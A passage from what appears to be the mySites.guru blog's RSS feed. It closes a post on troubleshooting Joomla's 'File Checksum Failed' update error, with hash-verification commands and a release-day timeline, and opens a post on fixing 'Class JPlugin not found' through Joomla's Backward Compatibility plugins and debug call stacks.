&lt;li&gt;Check the Path to Temp Folder. In System, Global Configuration, open the Server tab. Path to Temp Folder must be the absolute path of a folder that exists on &lt;em&gt;this&lt;/em&gt; server and that PHP can write to, normally the &lt;code&gt;tmp&lt;/code&gt; folder inside your site’s root. Joomla’s own field help warns against using the system-wide &lt;code&gt;/tmp&lt;/code&gt;. If it shows a path from another machine, fix it here or with the one-click fix in mySites.guru.&lt;/li&gt;
&lt;li&gt;Check disk space and quota. A Joomla 6 update package is around 30 MB, and it is then unpacked over the site. Shared hosting quotas fill up without warning, often with old backups. Free a few hundred megabytes before retrying.&lt;/li&gt;
&lt;li&gt;Delete leftover update zips from the temp folder. Look for a file named like &lt;code&gt;Joomla_x.y.z-Stable-Update_Package.zip&lt;/code&gt; in your tmp folder and delete it. Joomla reuses a non-empty file with that name instead of downloading it again, so a truncated zip from an earlier attempt makes each retry fail even after you have fixed the cause.&lt;/li&gt;
&lt;li&gt;Read the update log. Joomla logs each attempt, including the URL it downloaded from, to &lt;code&gt;administrator/logs/joomla_update.php&lt;/code&gt;. If the logged URL is not one of Joomla’s three mirrors, or the log stops before the checksum line, that tells you where it broke.&lt;/li&gt;
&lt;li&gt;Use Upload and Update with a package you have verified. Download the Update Package from &lt;a href=&quot;https://downloads.joomla.org/&quot;&gt;joomla.org&lt;/a&gt;, check its hash (next section), and install it from the Upload and Update tab of Joomla Update. The live download is skipped entirely.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If the error persists after all of that, and only on one host, look at what sits between PHP and the internet. A host that blocks outbound requests, a transparent proxy or a security product that rewrites downloads can all hand Joomla something other than the zip.&lt;/p&gt;
&lt;h2&gt;Is It Safe to Skip the Checksum Check?&lt;/h2&gt;
&lt;p&gt;Do not go looking for a way to turn it off. The check is the only thing between a corrupted or substituted package and the core files of your site, and a release-day glitch does not make it less useful the next time.&lt;/p&gt;
&lt;p&gt;What you can do is run the check yourself, on a package you download by hand, and then use Upload and Update. Compare the SHA-512 of your download with the one in Joomla’s signed &lt;a href=&quot;https://update.joomla.org/cms/targets.json&quot;&gt;targets.json&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;# macOS / Linux&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;shasum&lt;/span&gt;&lt;span&gt; -a&lt;/span&gt;&lt;span&gt; 512&lt;/span&gt;&lt;span&gt; Joomla_x.y.z-Stable-Update_Package.zip&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;# Windows (PowerShell)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Get-FileHash&lt;/span&gt;&lt;span&gt; Joomla_x.y.z-Stable-Update_Package.zip&lt;/span&gt;&lt;span&gt; -Algorithm&lt;/span&gt;&lt;span&gt; SHA512&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Find the entry for your version in targets.json and compare the full &lt;code&gt;sha512&lt;/code&gt; value. If yours does not match, download it again rather than installing it. Upload and Update only skips the live download, so a package that fails this check should stay off your site through either route.&lt;/p&gt;
&lt;h2&gt;How This Shows Up in Real Life&lt;/h2&gt;
&lt;p&gt;On a single site, the error looks the same whatever caused it. Across many sites, the pattern tells you which kind you have: a release-day problem hits every site checking for that version at once and clears on its own, while a local cause sits on one site until someone fixes it. Here is what the release-day kind looks like in the record.&lt;/p&gt;
&lt;h3&gt;The Joomla 6.2.0 and 5.4.10 Release&lt;/h3&gt;
&lt;p&gt;When &lt;a href=&quot;https://www.joomla.org/announcements/release-news/joomla-6-2-is-here.html&quot;&gt;Joomla 6.2&lt;/a&gt; and &lt;a href=&quot;https://www.joomla.org/announcements/release-news/joomla-5-4-10-bugfix-release.html&quot;&gt;Joomla 5.4.10&lt;/a&gt; were released on 13 October 2026, the Joomla forum had a thread titled &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=1024836&quot;&gt;“Update to J6.2.0 failing - missing checksum?”&lt;/a&gt; within a quarter of an hour, and a second, &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=1024839&quot;&gt;“I see v 6.2 is out. However, the 2 sites I’ve tried have failed”&lt;/a&gt;, shortly after. The screenshot at the top of this post is from that day. About 75 minutes after the first report a forum regular posted “Seems to be fixed now”, and the sites updated without anyone changing anything on them.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/joomla/updates/commits/main/&quot;&gt;joomla/updates&lt;/a&gt; repository records each change to Joomla’s signed update metadata, with a deploy status from the CI system that pushes it to update.joomla.org. Lined up against the two forum threads, release day looked like this (all times UTC):&lt;/p&gt;
&lt;section&gt;&lt;ol&gt;&lt;li&gt;&lt;div&gt;&lt;time&gt;15:30&lt;/time&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;5.4.10 signed&lt;/p&gt;&lt;p&gt;Release team members sign the 5.4.10 targets entry into the staging area of joomla/updates.&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;time&gt;15:35&lt;/time&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;6.2.0 signed&lt;/p&gt;&lt;p&gt;Three release team members sign the 6.2.0 entry. The 5.4.10 and 6.2.0 Update Package zips are uploaded to GitHub at 15:45 and 15:49.&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;time&gt;16:00&lt;/time&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;GitHub releases published&lt;/p&gt;&lt;p&gt;The 6.2.0 and 5.4.10 releases go public on github.com/joomla/joomla-cms.&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;time&gt;16:03&lt;/time&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Signed metadata goes live&lt;/p&gt;&lt;p&gt;targets.json version 118, listing 6.2.0 and 5.4.10, is deployed to update.joomla.org. Sites start being offered the update.&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;time&gt;16:18&lt;/time&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;First forum report&lt;/p&gt;&lt;p&gt;&quot;Update to J6.2.0 failing - missing checksum?&quot; A second user reports the same on 5.4.10 at 16:41, and another confirms Upload and Update works.&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;time&gt;17:13&lt;/time&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Clean-up release deployed&lt;/p&gt;&lt;p&gt;targets.json version 119 removes 38 old and pre-release entries, and the deploy purges the CDN cache. The 6.2.0 and 5.4.10 entries are unchanged.&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;time&gt;17:32&lt;/time&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&quot;Seems to be fixed now&quot;&lt;/p&gt;&lt;p&gt;Updates start working again on the forum. The original poster confirms at 18:57.&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/section&gt;
&lt;p&gt;Joomla has not said what went wrong, and no issue was opened on GitHub, so we cannot tell you the cause. We can tell you what it was not. The 6.2.0 and 5.4.10 entries in the signed metadata have not changed from the first signing commit to today: same length, same SHA-512, same three URLs. No one signed a wrong hash and then corrected it.&lt;/p&gt;
&lt;p&gt;We also downloaded the 6.2.0 package from all three mirrors on 14 October and hashed each copy. All three match the signed SHA-512. (The downloads.joomla.org URL redirects to update.joomla.org/releases, so two of the three are the same Cloudflare-cached file.) Whatever sites received between 16:03 and 17:32 was not what those mirrors serve now. The CDN cache purge at 17:13 is the only change in the record before the fix, which is suggestive, but timing is all it is.&lt;/p&gt;
&lt;h3&gt;Earlier Joomla Release Days&lt;/h3&gt;
&lt;p&gt;The 6.2.0 release was not the first. The public record shows the same error on release days going back years:&lt;/p&gt;















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Date&lt;/th&gt;&lt;th&gt;Release&lt;/th&gt;&lt;th&gt;What went wrong&lt;/th&gt;&lt;th&gt;How long&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;11 June 2019&lt;/td&gt;&lt;td&gt;3.9.7&lt;/td&gt;&lt;td&gt;A release team member &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/25174#issuecomment-500893978&quot;&gt;said on the issue&lt;/a&gt;: “I added the wrong hashes to the update server”&lt;/td&gt;&lt;td&gt;Minutes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;21 March 2022&lt;/td&gt;&lt;td&gt;4.1.1 RC1&lt;/td&gt;&lt;td&gt;A wrong download URL in the update XML, so the download failed and the checksum error was shown (&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/37339&quot;&gt;#37339&lt;/a&gt;)&lt;/td&gt;&lt;td&gt;Same day&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;25 October 2022&lt;/td&gt;&lt;td&gt;4.2.4&lt;/td&gt;&lt;td&gt;The published hashes did not match the zip, described on &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/39069#issuecomment-1290715466&quot;&gt;#39069&lt;/a&gt; as “a security feature kicking in because of a mistake in the Joomla Update files”&lt;/td&gt;&lt;td&gt;About 6 minutes after it was spotted&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;15 and 21 February 2024&lt;/td&gt;&lt;td&gt;5.0.3 RC1, 5.0.3&lt;/td&gt;&lt;td&gt;Reported on &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/42816&quot;&gt;#42816&lt;/a&gt; and &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/42851&quot;&gt;#42851&lt;/a&gt;; fixed on the server side&lt;/td&gt;&lt;td&gt;Same day&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;28 May 2024&lt;/td&gt;&lt;td&gt;4.4.5&lt;/td&gt;&lt;td&gt;Reported on &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/43559&quot;&gt;#43559&lt;/a&gt;; cause not stated&lt;/td&gt;&lt;td&gt;About 15 minutes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;13 October 2026&lt;/td&gt;&lt;td&gt;6.2.0, 5.4.10&lt;/td&gt;&lt;td&gt;Cause not stated; signed hashes were correct throughout&lt;/td&gt;&lt;td&gt;About 75 minutes&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;TUF did not prevent any of these, and could not have. Where a cause was given before Joomla 5.1, it was a wrong hash or a wrong URL in the unsigned XML file. On 13 October 2026 the signed hashes were correct throughout, which points at delivery: what the mirrors and CDN served in that window.&lt;/p&gt;
&lt;h2&gt;What Joomla Could Do Better Here&lt;/h2&gt;
&lt;p&gt;Most of the confusion around this error is avoidable, and the information needed to avoid it is already on the server. The signed targets entry includes the file’s length, which Joomla currently ignores. A zip that is 0 bytes, or 12 MB of an expected 32 MB, is a failed download rather than a tampered package, and Joomla could say so. A missing file is a temp folder problem, and Joomla could say that too, naming the path it tried. A non-empty file that fails the check could be deleted, so the next attempt downloads a fresh copy rather than reusing the bad one.&lt;/p&gt;
&lt;p&gt;None of that weakens the security check, because the hash comparison would still decide whether anything is installed. It would turn one message covering five causes into five messages that each tell you what to fix. Until then, “File Checksum Failed” means “Joomla could not verify the file”, and finding out why is up to you.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-update-not-possible-offered-update-has-expired/&quot;&gt;The offered update has expired&lt;/a&gt; - the other TUF-era Joomla update error, caused by expired signing metadata rather than a bad package.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/invalid-status-code-999-joomla-update-error/&quot;&gt;Joomla update error 999&lt;/a&gt; - an update failure caused by an abandoned extension update site.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://theupdateframework.github.io/specification/latest/&quot;&gt;The Update Framework specification&lt;/a&gt; - the roles, signing and target verification Joomla’s core updates are built on.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/april-2024/tamper-proof-core-updates-for-joomla-tuf-making-it-into-5-1&quot;&gt;Tamper-proof core updates for Joomla&lt;/a&gt; - the Joomla Magazine announcement of TUF arriving in Joomla 5.1.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/updates/commits/main/&quot;&gt;joomla/updates on GitHub&lt;/a&gt; - the history of Joomla’s signed update metadata, with deploy status.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Help5.x:Joomla_Update/en&quot;&gt;Joomla Help: Joomla Update&lt;/a&gt; - the official documentation for the update screen, including Upload and Update.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;p&gt;Find the broken tmp paths before an update does&lt;/p&gt;&lt;p&gt;mySites.guru checks the temp and log folders, update status, backups and security of all the Joomla and WordPress sites you run, from one dashboard, and fixes a wrong tmp path in one click.&lt;/p&gt;&lt;div&gt;&lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Start your free month&lt;/a&gt;&lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;See pricing&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>updates</category><category>upgrade</category><category>tuf</category><category>manage joomla</category><enclosure url="https://mysites.guru/img/og/blog/joomla-file-checksum-failed.png" length="0" type="image/png"/></item><item><title>Fixing Class &quot;JPlugin&quot; not found in Joomla 5 and 6</title><link>https://mysites.guru/blog/joomla-class-jplugin-not-found/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-class-jplugin-not-found/</guid><description>Class &quot;JPlugin&quot; not found (or JFactory, JComponentHelper) means a Joomla extension lost the Backward Compatibility plugin. How to find and fix it.</description><pubDate>Mon, 12 Oct 2026 16:54:13 GMT</pubDate><content:encoded>&lt;p&gt;A Joomla site that shows &lt;code&gt;0 - Class &quot;JPlugin&quot; not found&lt;/code&gt; instead of its home page has an extension written against Joomla’s old class names, running on a site where nothing provides those names any more. The same fault turns up as &lt;code&gt;Class &quot;JFactory&quot; not found&lt;/code&gt;, &lt;code&gt;Class &quot;JComponentHelper&quot; not found&lt;/code&gt;, &lt;code&gt;Class &quot;JTable&quot; not found&lt;/code&gt; and a few hundred other variants. Joomla 5 and 6 only keep those names alive through a Backward Compatibility plugin, and the error appears the moment that plugin, or one specific option inside it, is switched off.&lt;/p&gt;
&lt;p&gt;Across the Joomla 5 sites in the mySites.guru database, 97.8% still have the old Backward Compatibility plugin enabled, and Joomla’s own pre-update check blocks the Joomla 6 upgrade until it is disabled, so this error is about to get much more common. Any of those sites running an extension that still needs the old names will break partway through its Joomla 6 upgrade. mySites.guru shows the state of both compatibility plugins on every connected site, switches them on and off remotely, and on Joomla 4 and 5 scans your files for the old class names before anything breaks.&lt;/p&gt;
&lt;p&gt;This post covers how to find which extension is responsible, four ways to get the plugin back on when the site is down (including when you cannot reach the admin), the class names no setting can bring back, and the fix that lasts.&lt;/p&gt;
&lt;h2&gt;What does Class “JPlugin” not found mean in Joomla?&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;JPlugin&lt;/code&gt; is the name every Joomla plugin extended up to Joomla 3. Joomla 4 renamed it &lt;code&gt;Joomla\CMS\Plugin\CMSPlugin&lt;/code&gt; and kept the old name as an alias, loaded on every request from &lt;code&gt;libraries/classmap.php&lt;/code&gt;, so nothing broke. Joomla 5 moved that alias list, around 470 names in all, into a plugin called Behaviour - Backward Compatibility. Joomla 6 moved it again, into Behaviour - Backward Compatibility 6. When the list is not loaded, PHP meets &lt;code&gt;class PlgSystemSomething extends JPlugin&lt;/code&gt;, has no idea what &lt;code&gt;JPlugin&lt;/code&gt; is, and stops.&lt;/p&gt;
&lt;p&gt;The class name in the message tells you which old API the extension called:&lt;/p&gt;





















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Error message&lt;/th&gt;&lt;th&gt;Modern Joomla class&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;Class &quot;JPlugin&quot; not found&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;Joomla\CMS\Plugin\CMSPlugin&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;Class &quot;JFactory&quot; not found&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;Joomla\CMS\Factory&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;Class &quot;JComponentHelper&quot; not found&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;Joomla\CMS\Component\ComponentHelper&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;Class &quot;JText&quot; not found&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;Joomla\CMS\Language\Text&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;Class &quot;JTable&quot; not found&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;Joomla\CMS\Table\Table&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;Class &quot;JRoute&quot; not found&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;Joomla\CMS\Router\Route&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;Class &quot;JHtml&quot; not found&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;Joomla\CMS\HTML\HTMLHelper&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;Class &quot;JPluginHelper&quot; not found&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;Joomla\CMS\Plugin\PluginHelper&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;Class &quot;JModuleHelper&quot; not found&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;Joomla\CMS\Helper\ModuleHelper&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;Class &quot;JModelLegacy&quot; not found&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;Joomla\CMS\MVC\Model\BaseDatabaseModel&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;Class &quot;JRegistry&quot; not found&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;Joomla\Registry\Registry&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;On PHP 8 the class name is in double quotes. Older forum threads quote it as &lt;code&gt;Class &apos;JPlugin&apos; not found&lt;/code&gt; because PHP 7 used single quotes, and they are the same error.&lt;/p&gt;
&lt;p&gt;Where the extension lives decides how much of the site goes down. A system plugin loads on every request, front end and administrator alike, so a system plugin calling &lt;code&gt;JPlugin&lt;/code&gt; takes the whole site and the admin login with it. A module only fails on pages where it is published, but when it does, Joomla replaces the entire page with the error page, not just the module position. &lt;code&gt;JComponentHelper&lt;/code&gt; errors often come from a component or module helper, which is why they tend to break some pages and leave others working.&lt;/p&gt;
&lt;h2&gt;Where the JPlugin error comes from in Joomla 4, 5 and 6&lt;/h2&gt;
&lt;p&gt;The same message has different causes depending on the Joomla version, and the default settings differ in each. That is why “enable the compat plugin” works for one person in a forum thread and does nothing for the next.&lt;/p&gt;






























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Joomla version&lt;/th&gt;&lt;th&gt;Where &lt;code&gt;JPlugin&lt;/code&gt; comes from&lt;/th&gt;&lt;th&gt;Default state&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;4.4&lt;/td&gt;&lt;td&gt;&lt;code&gt;libraries/classmap.php&lt;/code&gt;, loaded on every request&lt;/td&gt;&lt;td&gt;Always on. The 4.4 compat plugin is an empty placeholder&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;5.0 to 5.4&lt;/td&gt;&lt;td&gt;Behaviour - Backward Compatibility, option Classes Aliases&lt;/td&gt;&lt;td&gt;Enabled, Classes Aliases on, for both fresh installs and upgrades&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;6.x, upgraded from 5.4&lt;/td&gt;&lt;td&gt;Behaviour - Backward Compatibility 6, option Classes Aliases&lt;/td&gt;&lt;td&gt;Enabled, Classes Aliases on&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;6.x, fresh install&lt;/td&gt;&lt;td&gt;Behaviour - Backward Compatibility 6, option Classes Aliases&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Plugin disabled, Classes Aliases off&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;Joomla 5: someone switched the plugin off&lt;/h3&gt;
&lt;p&gt;On Joomla 5 the old names only exist while Behaviour - Backward Compatibility is enabled with Classes Aliases on. Most sites hit the error because someone followed the advice to disable the plugin, which is good advice, before checking what depended on it. We covered why leaving it on forever is a mistake in &lt;a href=&quot;https://mysites.guru/blog/joomla-compat-plugin-is-a-crutch/&quot;&gt;the compat plugin is a crutch&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Joomla 5.4: the pre-update check for Joomla 6&lt;/h3&gt;
&lt;p&gt;This is the one most sites will meet next. When you point Joomla Update at Joomla 6, the pre-update check lists “The ‘Behaviour - Backward Compatibility’ Plugin Must be Disabled” as a required setting and will not offer the upgrade until it is. The Backward Compatibility 6 plugin that 5.4 installs alongside it is, on 5.4, an empty class that listens to nothing and loads nothing. So the moment you disable the old plugin on 5.4, every &lt;code&gt;JPlugin&lt;/code&gt;, &lt;code&gt;JFactory&lt;/code&gt; and &lt;code&gt;JComponentHelper&lt;/code&gt; reference on the site has no alias at all. The &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-end-of-support-dates/&quot;&gt;Joomla 5.4 end of support post&lt;/a&gt; has the full upgrade order.&lt;/p&gt;
&lt;h3&gt;Joomla 6: a fresh install, or a migrated site&lt;/h3&gt;
&lt;p&gt;An upgraded Joomla 6 site gets Backward Compatibility 6 enabled with Classes Aliases on, so old extensions keep working. A fresh Joomla 6 install ships the same plugin disabled and Classes Aliases off, on the assumption that a new site has no old code. If you built a new Joomla 6 site and then installed an older extension, or migrated content and extensions into one, that is where the error comes from, and enabling the plugin alone does not fix it.&lt;/p&gt;
&lt;h2&gt;How do I find which Joomla extension is causing it?&lt;/h2&gt;
&lt;p&gt;The error names the class, not the extension, so the first job is to get Joomla to print the file path, and when the administrator is down the only way to do that is to edit &lt;code&gt;configuration.php&lt;/code&gt; by hand. Connect over FTP, SFTP or your host’s file manager, open &lt;code&gt;configuration.php&lt;/code&gt; in the site root, and change these two lines:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;public&lt;/span&gt;&lt;span&gt; $debug &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;public&lt;/span&gt;&lt;span&gt; $error_reporting &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;maximum&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Save it and reload the broken page. Under the error message Joomla now prints a table headed &lt;strong&gt;Call stack&lt;/strong&gt;, with a Function column and a Location column. The Location column is the list of files PHP passed through on its way to the failure, newest first, and the first path in it that is not core Joomla is your answer: something like &lt;code&gt;/plugins/system/oldextension/oldextension.php&lt;/code&gt; or &lt;code&gt;/administrator/components/com_something/helpers/something.php&lt;/code&gt;. The folder name is the extension.&lt;/p&gt;
&lt;p&gt;That table only exists when &lt;code&gt;$debug&lt;/code&gt; is true. Setting &lt;code&gt;error_reporting&lt;/code&gt; to &lt;code&gt;maximum&lt;/code&gt; on its own makes PHP display its errors, but Joomla’s error page still prints nothing more than the message.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Use maximum, not development&lt;/p&gt;&lt;div&gt;&lt;p&gt;Joomla 3 called this setting “development”. Joomla 4 still accepted that value and converted it to “maximum” when you saved Global Configuration, but Joomla 5 and 6 no longer recognise it. An unrecognised value is passed straight to PHP’s &lt;code&gt;error_reporting()&lt;/code&gt;, which on PHP 8 throws a type error because “development” is not a number. Copying an old tutorial into &lt;code&gt;configuration.php&lt;/code&gt; on a Joomla 5 or 6 site gives you a second fatal error on top of the first.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3&gt;Ignore the Deprecated lines at the top of the page&lt;/h3&gt;
&lt;p&gt;The Deprecated lines are PHP warnings about code that will need changing for a future PHP version, and none of them is the cause. Maximum error reporting shows everything PHP has to say, and on PHP 8.4 or 8.5 that means a wall of lines like this before you reach the real error:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Deprecated: Using null as an array offset is deprecated, use an empty string instead in /home/example/public_html/libraries/src/Menu/AbstractMenu.php on line 164&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A Deprecated notice does not stop the page. The one above comes from &lt;code&gt;libraries/src&lt;/code&gt;, which is Joomla core, and a clean Joomla install produces some of these on the newest PHP; a template framework’s system plugin can add more. The file paths in them look like evidence, and following them is the easiest way to lose an hour on this error. Scroll past the lot to the &lt;code&gt;Class &quot;JPlugin&quot; not found&lt;/code&gt; message and look for the Call stack table under it.&lt;/p&gt;
&lt;h3&gt;No Call stack table? Your template’s error.php is hiding it&lt;/h3&gt;
&lt;p&gt;When debug is on and the page still shows a short “An error has occurred” message, or a branded “Something went wrong” page, the template is in the way. Joomla renders the active template’s own &lt;code&gt;error.php&lt;/code&gt; if the template has one, and many commercial templates and template frameworks ship an &lt;code&gt;error.php&lt;/code&gt; that never prints the trace, whatever debug is set to.&lt;/p&gt;
&lt;p&gt;Rename &lt;code&gt;templates/YOUR_TEMPLATE_NAME/error.php&lt;/code&gt; to &lt;code&gt;error.php.bak&lt;/code&gt; over FTP or your host’s file manager and reload. With no template error page, Joomla falls back to &lt;code&gt;templates/system/error.php&lt;/code&gt;, which prints the Call stack table whenever debug is on. Put the file back once you have the path.&lt;/p&gt;
&lt;p&gt;Do not go looking in the log files instead. Joomla catches this error and logs it under the &lt;code&gt;error&lt;/code&gt; category, but out of the box it only writes the &lt;code&gt;system&lt;/code&gt; category to &lt;code&gt;administrator/logs/joomla_core_errors.php&lt;/code&gt;. Unless Log Everything is on, or &lt;code&gt;error&lt;/code&gt; is listed in the custom log categories, there is nothing in &lt;code&gt;administrator/logs&lt;/code&gt; to find. PHP’s own error log does not see it either, because Joomla handled it before PHP could.&lt;/p&gt;
&lt;h3&gt;Reading the call stack: a worked example&lt;/h3&gt;
&lt;p&gt;A &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=1024827&quot;&gt;Joomla forum thread&lt;/a&gt; from October 2026 runs through every one of these steps on a real site. The owner was on Joomla 5.4.9 and PHP 8.5, had disabled Behaviour - Backward Compatibility because the Joomla 6 pre-update check requires it, and both the front end and the administrator went to &lt;code&gt;0 Class &quot;JPlugin&quot; not found&lt;/code&gt;. Another forum member gave the standard advice: error reporting to maximum, debug on, and the call stack will name the plugin.&lt;/p&gt;
&lt;p&gt;What came back was a page of &lt;code&gt;Deprecated&lt;/code&gt; lines, first from the T4 template framework’s system plugin and then from Joomla core, with no Call stack table anywhere. The owner had by then switched off a long list of components, plugins and modules by hand, from a Droppics image gallery, from My Maps Location and from others, and the site stayed broken.&lt;/p&gt;
